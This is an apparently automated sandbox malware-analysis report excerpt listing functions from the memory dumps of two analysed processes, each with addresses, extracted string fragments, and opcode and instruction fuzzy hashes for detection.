Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90c918b9f00315ae69f142558467d96aae52893b3ed0c6663e9f6e1f9b02f42
Instruction ID: 1a27a1af6347e0f8016e4486744c51b711a494a2c4f5f4457c34292647f8ed6c
Opcode Fuzzy Hash: b90c918b9f00315ae69f142558467d96aae52893b3ed0c6663e9f6e1f9b02f42
Instruction Fuzzy Hash: 5A012C30A1855D8FDB58DF44C8A0BE9B7A1FF59301F10827AD44DE7296DA786840DB81

Function 00007FFD34672719 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c70f34adff6e24aff49a3bf41898e3354c1966581ade6a92b78b9b1726838e94
Instruction ID: 1cac9028b0ab2296a6720bdbd1854185996b79649557ec225486101ed87cf4ad
Opcode Fuzzy Hash: c70f34adff6e24aff49a3bf41898e3354c1966581ade6a92b78b9b1726838e94
Instruction Fuzzy Hash: 96F0C23090D7894FEB5A9F208C791E93FB0BF07300F4549BED50AC61D2DA2D9444D301

Function 00007FFD3467B5B2 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94afc1153804b6435532da2d75ac4c2dbc8a17cb60659cee2e6a5085ed8500b0
Instruction ID: af2f7a7613856449d9784d5084ac9ab786a73b781066263e09135338e3557054
Opcode Fuzzy Hash: 94afc1153804b6435532da2d75ac4c2dbc8a17cb60659cee2e6a5085ed8500b0
Instruction Fuzzy Hash: B6F0F470A096298FEF94EF14C895BE9B7B1FF55300F1082A6D04DE3155DE34A9859F40

Function 00007FFD34687E29 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a480b805c68eab219073deaa216132fa90621efef9645393670548c8c0341d
Instruction ID: a847a787bcbe56f3ca5d4db874cfca8ef74c5e92b13bd83cec75d7a8843dd4ff
Opcode Fuzzy Hash: 93a480b805c68eab219073deaa216132fa90621efef9645393670548c8c0341d
Instruction Fuzzy Hash: 1EF01260E0862F8AE760DF88C8693BDB762FF51205F500136D01DD7296CE782C419780

Function 00007FFD34685222 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9559c497821f7010f2f4a0a95bb0277b5f5dda2016ee75ea87a76a2d0fad30a5
Instruction ID: a3a71a2bec4741b384922976692ac25ab91638cdfebb4ed2b7bf630740d6b66e
Opcode Fuzzy Hash: 9559c497821f7010f2f4a0a95bb0277b5f5dda2016ee75ea87a76a2d0fad30a5
Instruction Fuzzy Hash: 06F0C930E0892D8EDFE0EF5898617ECB7B1FB59300F4041B6D10DE3242DE3869809B40

Function 00007FFD3467451E Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 331a9c5fcca444130e1964262b70a96a803988a13263b7a83ef49b64d81bcd53
Instruction ID: 4e8da0212413ad20bb943e51b60694e822a186d0f4663813a9905879519f9a95
Opcode Fuzzy Hash: 331a9c5fcca444130e1964262b70a96a803988a13263b7a83ef49b64d81bcd53
Instruction Fuzzy Hash: 3CE0ECB0E492298AF7288F1588A0BF87970AB07310F1085EDE15E623C1CA391D84AF11

Function 00007FFD34687DF2 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f97e984333cb5e0406c42a3ae976cd574d7143f26666eb93096418d11e7e75
Instruction ID: 2a647506884acdba45fb99a5889533de3f7c607a8a2f2ec6f240de54d4c8c114
Opcode Fuzzy Hash: d0f97e984333cb5e0406c42a3ae976cd574d7143f26666eb93096418d11e7e75
Instruction Fuzzy Hash: 34D09E60E1462E8EEB64EFA4C8653BDB672BF64305F5005F9D04DE7697DF7829808B40

Function 00007FFD34681865 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7de749dd1bb422962eb0d80d474e782a21a2e0c2099caef522937b4ff28644f
Instruction ID: b4f50804eafcdb903a29bead7fbdedb97e2e837af7a18716ffae1faca21bf38d
Opcode Fuzzy Hash: b7de749dd1bb422962eb0d80d474e782a21a2e0c2099caef522937b4ff28644f
Instruction Fuzzy Hash: CED01234E0C2554FD3988F1088A85F976A59F41301F1010BDE05D4A1B7CAB85548D714

Non-executed Functions

Function 00007FFD346853D1 Relevance: 10.1, Strings: 8, Instructions: 130COMMON

Download Yara Rule

Strings

0Yq4, xrefs: 00007FFD34685419
4, xrefs: 00007FFD346854E8
`Zq4, xrefs: 00007FFD34685459
PZq4, xrefs: 00007FFD34685449
@Yq4, xrefs: 00007FFD34685429
Yq4, xrefs: 00007FFD34685409
pZq4, xrefs: 00007FFD34685469
@Zq4, xrefs: 00007FFD34685439

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: Yq4$0Yq4$4$@Yq4$@Zq4$PZq4$`Zq4$pZq4
API String ID: 0-2469369772
Opcode ID: cc7077d76b4f69d93a10705d1240e23fb0ac446a5f76a8c6256b9d4243ca90c5
Instruction ID: 36f41e7b506ab0db7731c353f2b6670d4e332b6fa52cd7d61343e2df72175d85
Opcode Fuzzy Hash: cc7077d76b4f69d93a10705d1240e23fb0ac446a5f76a8c6256b9d4243ca90c5
Instruction Fuzzy Hash: 69419B43B4FBE10FE3D54AAC68751F52FA0EF932E678801F7D184CE297980998095382

Function 00007FFD3467FAB2 Relevance: 6.3, Strings: 5, Instructions: 65COMMON

Download Yara Rule

Strings

4, xrefs: 00007FFD3467FB03
?, xrefs: 00007FFD3467FCE0
], xrefs: 00007FFD3467E430
\, xrefs: 00007FFD3467FCD3
<, xrefs: 00007FFD3467FAD8

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 4$<$?$\$]
API String ID: 0-2527292895
Opcode ID: 1cf71b7bd58064365239419c0640aaf0de8fa94bac60bdce9212f85ab9a0fc37
Instruction ID: 0f3f7dfa6dbcd83148656896131b028eae12c859b827d0ac43db8c08a848f163
Opcode Fuzzy Hash: 1cf71b7bd58064365239419c0640aaf0de8fa94bac60bdce9212f85ab9a0fc37
Instruction Fuzzy Hash: AB31BB70E08629CBEB69DF14C8A47EDB7B1BB19304F1086A9D11DD2284DB3C5A85DF41

Function 00007FFD3467EBA6 Relevance: 5.1, Strings: 4, Instructions: 75COMMON

Download Yara Rule

Strings

X, xrefs: 00007FFD3467EBAE
", xrefs: 00007FFD3467EC2E
d, xrefs: 00007FFD3467EBE8
S, xrefs: 00007FFD3467EC7C

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: "$S$X$d
API String ID: 0-3490186870
Opcode ID: 97492ec00ca223585168efd4dda1e2e5e409af8a8ee88da8652e7b1363ebdd99
Instruction ID: eafe469824d11622334babcd9c342b702b89f87a8603cdebd1f22e5510525222
Opcode Fuzzy Hash: 97492ec00ca223585168efd4dda1e2e5e409af8a8ee88da8652e7b1363ebdd99
Instruction Fuzzy Hash: B931D570D092798FEB64DF24C8A47EDBAB1BB19305F0085EAD50DE2281DB795AC8DF01

Analysis Process: Idle.exePID: 6412, Parent PID: 1064COMMON

Executed Functions

Function 00007FFD346834D1 Relevance: 1.6, Strings: 1, Instructions: 326COMMON

Download Yara Rule

Strings

L_H, xrefs: 00007FFD3468376E

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-402390507
Opcode ID: 1cdf7de410ef03600c4f6ac383e531f0fde44667a8b6e3ae936d702ca4b09446
Instruction ID: a40060461a0e0ab80447f05598bce8f222180f66bd6f47c54d7a12b27b3a2f0d
Opcode Fuzzy Hash: 1cdf7de410ef03600c4f6ac383e531f0fde44667a8b6e3ae936d702ca4b09446
Instruction Fuzzy Hash: 57B1AF71B08A498FEB94DFA8C8A93ED7BE1FF9A310F50017AC04DD7296DA796841C741

Function 00007FFD3468D689 Relevance: 5.4, Strings: 4, Instructions: 394COMMON

Download Yara Rule

Strings

NV4, xrefs: 00007FFD3468D734
p\V4, xrefs: 00007FFD3468D7A2
", xrefs: 00007FFD3468D91F
_, xrefs: 00007FFD3468D7AC

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: NV4$"$_$p\V4
API String ID: 0-3248668030
Opcode ID: 49d59ddcb6de099f9099767801c346ee1e17cbcf1e24cbe75d45652ff114eb1e
Instruction ID: c45bdcf6f29ba2a696ac9ac909c2a1075c72dbdd6f39800b0e35890e167f4a18
Opcode Fuzzy Hash: 49d59ddcb6de099f9099767801c346ee1e17cbcf1e24cbe75d45652ff114eb1e
Instruction Fuzzy Hash: FEE12A71E186598FEBA8EF98C4A57E8B7E1FF59304F0441BED04DE3292CA386840DB51

Function 00007FFD3468CB18 Relevance: 4.2, Strings: 3, Instructions: 460COMMON

Download Yara Rule

Strings

pMr4, xrefs: 00007FFD34695833
pMr4, xrefs: 00007FFD3469586B
pMr4, xrefs: 00007FFD3469581C

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: pMr4$pMr4$pMr4
API String ID: 0-1789392722
Opcode ID: d7bb01ed8dee22c18689aabacb724a2f4d586eac9013581a5ca9aa3b4d8042dd
Instruction ID: cf43803599d0e6806055f82f206bb582257271f3916e4f0d91e426db2a8320c3
Opcode Fuzzy Hash: d7bb01ed8dee22c18689aabacb724a2f4d586eac9013581a5ca9aa3b4d8042dd
Instruction Fuzzy Hash: 06C1D322B1DE5A0FEBD8DE5C94B56F533D1FFA9310B0401BAD54EC728ADE68E8468740

Function 00007FFD3468D6A0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

NV4, xrefs: 00007FFD3468D734
p\V4, xrefs: 00007FFD3468D7A2
_, xrefs: 00007FFD3468D7AC

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: NV4$_$p\V4
API String ID: 0-1543518997
Opcode ID: 811f1d7cd14964f4032c662a28779b77bcf20afc21bc2f26e7dc01f6c83d104b
Instruction ID: a82821303d2a70c8d5829862466f81b6b2b454b4c2bcba52f39541b16a3fa84e
Opcode Fuzzy Hash: 811f1d7cd14964f4032c662a28779b77bcf20afc21bc2f26e7dc01f6c83d104b
Instruction Fuzzy Hash: 7FB11D71A18A5D8EEBA8EF98C4A57E8B7E1FF55304F0441BED04DE3292CA386840DB51

Function 00007FFD3468E987 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

#, xrefs: 00007FFD3468F792
}, xrefs: 00007FFD3468E9F4

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: #$}
API String ID: 0-437702028
Opcode ID: be4cc1e81aac57f7702d2642576addff056876df7e2550a2736ccff989d1f8a9
Instruction ID: 3522e20d00af5c4cf4d3a738df82d1a4004914208a22c88763253221a6f29fb8
Opcode Fuzzy Hash: be4cc1e81aac57f7702d2642576addff056876df7e2550a2736ccff989d1f8a9
Instruction Fuzzy Hash: FF31C270E0826A8FDBA8DF14D8A47EDB7B1BB19301F1042EAD54DE2291CB785AC4DF45

Function 00007FFD3468F08A Relevance: 2.5, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

7, xrefs: 00007FFD3468F10D
E, xrefs: 00007FFD3468F0DB

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: 7$E
API String ID: 0-691764926
Opcode ID: aab65b5a1a625b2fa7fc2e98e76809d04287ab7cb8f59b337106583355382441
Instruction ID: dd09ba4d022465998e983e2901df6168c3e99043cb7ca446e057fdc56a43b585
Opcode Fuzzy Hash: aab65b5a1a625b2fa7fc2e98e76809d04287ab7cb8f59b337106583355382441
Instruction Fuzzy Hash: BC11B670E096298BDBA8DF14C8A4BE9B3B1FB56305F1041E9D60DE3291CB385E809F45

Function 00007FFD346816C8 Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

2Eq4, xrefs: 00007FFD34681E33

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: 2Eq4
API String ID: 0-447159327
Opcode ID: b6eea36c8a223a7fd54676b99a5e992f93ca444c5d95e655059e4bde0c7c49c0
Instruction ID: e0b01e666ec55a770f2a8d6de827313dfe9f8f2e2cb81da61f51708740a292bd
Opcode Fuzzy Hash: b6eea36c8a223a7fd54676b99a5e992f93ca444c5d95e655059e4bde0c7c49c0
Instruction Fuzzy Hash: A8819E31B0CA594FDB99DE1C88A55E977E2FF99314B1401BEE59DD3292CE38EC028781

Function 00007FFD34683555 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

L_H, xrefs: 00007FFD3468376E

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: L_H
API String ID: 0-402390507
Opcode ID: 545d6936519e779e5095f1e2a4cdf1b714c14db8e5b6f9aeba79137918470417
Instruction ID: 6a09cfa422e188bd36b31e9026555c388f1eb273b82ffd5e752840e8e23b094a
Opcode Fuzzy Hash: 545d6936519e779e5095f1e2a4cdf1b714c14db8e5b6f9aeba79137918470417
Instruction Fuzzy Hash: F181A072B18A498FEB94DBACC8653EC7BE1FF9A310F50017AC04DD72C6DAA928418741

Function 00007FFD3468C5FB Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

~L_^, xrefs: 00007FFD3468C601

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: ~L_^
API String ID: 0-1658077567
Opcode ID: 81a96b9b6dd38bf4ff9e64b0fb9ad261dfe180658f2243b033edc252286bf0b2
Instruction ID: c9c019a5b5ff4d012d887f8759604af1fcf7dd1b317080c90df4853787c29bae
Opcode Fuzzy Hash: 81a96b9b6dd38bf4ff9e64b0fb9ad261dfe180658f2243b033edc252286bf0b2
Instruction Fuzzy Hash: 0E41E427B4C67A4AE7917BECF8690FE7794EF9233AB041037D24CC9083CD2864859A91

Function 00007FFD3468EEB9 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFD3468F58A

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 4b2a2fc45fccb00581bc051ff1a546a01d513dc26d7c5a160e2234b5f676fdcc
Instruction ID: 6ba11d5ffd5f78d14e2ba8f1ee909dcba345f060e2b6db01badb4e851d71ca92
Opcode Fuzzy Hash: 4b2a2fc45fccb00581bc051ff1a546a01d513dc26d7c5a160e2234b5f676fdcc
Instruction Fuzzy Hash: 26513E71E18A698FDBA4DF18CC957E9B3B1FB55301F1001EAD40DE2292DF342A818F41

Function 00007FFD34680A01 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

(vW4, xrefs: 00007FFD34680A70

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: (vW4
API String ID: 0-3236983561
Opcode ID: f263ff9183eeb5e63b896ad038503e5693896c492f4b82989ee17c65d1c947f3
Instruction ID: 46151f764437cfb63ae7a5b9a4cbc5458103c1ea91c775daa61e49f6e5123e26
Opcode Fuzzy Hash: f263ff9183eeb5e63b896ad038503e5693896c492f4b82989ee17c65d1c947f3
Instruction Fuzzy Hash: 0011AF71A08A5E4EE7D0EF6888985E97BE0FF5A300F4649B6D55DC7093EE38A5409701

Function 00007FFD3468122D Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

`yW4, xrefs: 00007FFD3468129D

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: `yW4
API String ID: 0-2500609254
Opcode ID: b43cf5b4412a62d32e69da49e1b2082e437b43429f82447efe29d690c0384ca0
Instruction ID: 6a04274e0fad06fc35c3390826d2643e18e1b155278f682b6ade8e54c6c46557
Opcode Fuzzy Hash: b43cf5b4412a62d32e69da49e1b2082e437b43429f82447efe29d690c0384ca0
Instruction Fuzzy Hash: 3411E170A0969A4FEB999F68C4B96F97BE0FF57310F0405BFD10ED60D2DA296084D701

Function 00007FFD34697E67 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

@qV4, xrefs: 00007FFD34697EB3

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: @qV4
API String ID: 0-573999905
Opcode ID: 48d3dbd273feb58c9acb21ee15b1722db0fbb7b7fa1323a97330aa4822975c9b
Instruction ID: de943dd35d3c180290933e7ab4a123f56cd0ef08b140457a4061e4303e7e5a5a
Opcode Fuzzy Hash: 48d3dbd273feb58c9acb21ee15b1722db0fbb7b7fa1323a97330aa4822975c9b
Instruction Fuzzy Hash: 75114A71E0461E8EEB64EF94D8A46EDB7B1FB55301F50017AD449E3281EB7869018B40

Function 00007FFD34694E9D Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

pGr4, xrefs: 00007FFD34694F00

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: pGr4
API String ID: 0-51579652
Opcode ID: e50c33eb35df8f82d7f0a4cf6d6a2aaccc3e9cb43c03c1249dd807bca52e328a
Instruction ID: a4271a25d479a1c28dca13678dc71e1fd25039405deced33ac56f9776fd25556
Opcode Fuzzy Hash: e50c33eb35df8f82d7f0a4cf6d6a2aaccc3e9cb43c03c1249dd807bca52e328a
Instruction Fuzzy Hash: 2B11BC71E1C95A4FE790EF6888A86FD7BE0FF5A311F4145B6C618C3192EE38A4409740

Function 00007FFD3468FC2D Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD3468FC96

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 246e454a8072f04a6a516d54aa9d67a00cb460caf418bf96aea13af9da7295d3
Instruction ID: 002f723241d8a06e9b225967d26fee6382516d8bae89468ead99c617e8c9e7dc
Opcode Fuzzy Hash: 246e454a8072f04a6a516d54aa9d67a00cb460caf418bf96aea13af9da7295d3
Instruction Fuzzy Hash: F6112870A4866A8BDBA8DF14C8A4BF9B7B1FB55355F0001E9D50EE2291CB386E818F44

Function 00007FFD34681240 Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

`yW4, xrefs: 00007FFD3468129D

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID: `yW4
API String ID: 0-2500609254
Opcode ID: 5df63547088b6060a3432b200241d1e855c8ae95ff02e8a2b0d23058d836477a
Instruction ID: 1d3d74359fdeb9ba263e5570f554f78e13b4dae825bd955b5d22c67ce522fa87
Opcode Fuzzy Hash: 5df63547088b6060a3432b200241d1e855c8ae95ff02e8a2b0d23058d836477a
Instruction Fuzzy Hash: 8FF0F470E09A2E8AEBD89F6888B83FA77E0FF57311F00057AD41ED20C1DE282090D200

Function 00007FFD34693A15 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a561844c5fd2921b26370bc8bea44bc3f42163175131d606ced8b06e7cd67cd
Instruction ID: 6446126802733889e37e3f1165d6427ca17f07d27a60efd04596dcb74afddd64
Opcode Fuzzy Hash: 9a561844c5fd2921b26370bc8bea44bc3f42163175131d606ced8b06e7cd67cd
Instruction Fuzzy Hash: BFE1A870E1862D8EDBA4EF58C8A57ECB6B1FF5D301F5041AAD10DE3291DA786984DB01

Function 00007FFD34695780 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e6df85cd1638ee447478ba3532125c46a1aca5b18777162bcad34e1ca54ffb4
Instruction ID: c4dcd340382ca408d52fdaa09b9ac3047df424bd44b91f0b627a62df1794c0de
Opcode Fuzzy Hash: 9e6df85cd1638ee447478ba3532125c46a1aca5b18777162bcad34e1ca54ffb4
Instruction Fuzzy Hash: 38A1A270A1892E8FDBA4EF18C8A5BE9B7F1FF59300F5050A9D10DE3251DA74AA81DF40

Function 00007FFD34681CAD Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718f3a3d9cfd652e39ade306451b5aaac3fd0aa1291b9d792a9a3f8b073eaa6b
Instruction ID: cf15deff865e6ed3196df3c278789dbf1e0038e268c2de5434de8b5ede9124fc
Opcode Fuzzy Hash: 718f3a3d9cfd652e39ade306451b5aaac3fd0aa1291b9d792a9a3f8b073eaa6b
Instruction Fuzzy Hash: 8251D431B08A994FDB98CE18C8A55F977E2FF99314B14017ED55EC3282CE38E8128781

Function 00007FFD346979F9 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2452034de30d0979dfb137537521c459e7adf33f30544e9d6f101993b58a1e1
Instruction ID: 13a86f556b4519587ca1c6b53f75501c4b86b21c22d5ca9b0970d5baeaff7fe4
Opcode Fuzzy Hash: d2452034de30d0979dfb137537521c459e7adf33f30544e9d6f101993b58a1e1
Instruction Fuzzy Hash: 3C51CC30A0865A8FEB55EF24C8A86FD7BF0FF1A302F1444BAC509C7192DA78A644D741

Function 00007FFD34683115 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e3e42ae5fd1722d386b7a83083429c08a7eb388024952d4caba530ad7d078e
Instruction ID: 56ed85c0a83b4d0f6a9cda5a2f9d67ca687c52798110b1271f139d397875bc08
Opcode Fuzzy Hash: 93e3e42ae5fd1722d386b7a83083429c08a7eb388024952d4caba530ad7d078e
Instruction Fuzzy Hash: FF612870E0862D8EEB94EF98D4A46ECB7F1EF99300F50407AD10DE7292DA396984DB10

Function 00007FFD346820C5 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.2218232729.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd34680000_Idle.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c58d2d61c525402b9b6600804bd64ca9d894db7ee6d0d3fc85f1c3d4bb4f670
Instruction ID: 5679c7ab366617ed50f2484b9aaa513f1a3a510de1095c0755e7ea12a8b9fb71
Opcode Fuzzy Hash: 1c58d2d61c525402b9b6600804bd64ca9d894db7ee6d0d3fc85f1c3d4bb4f670
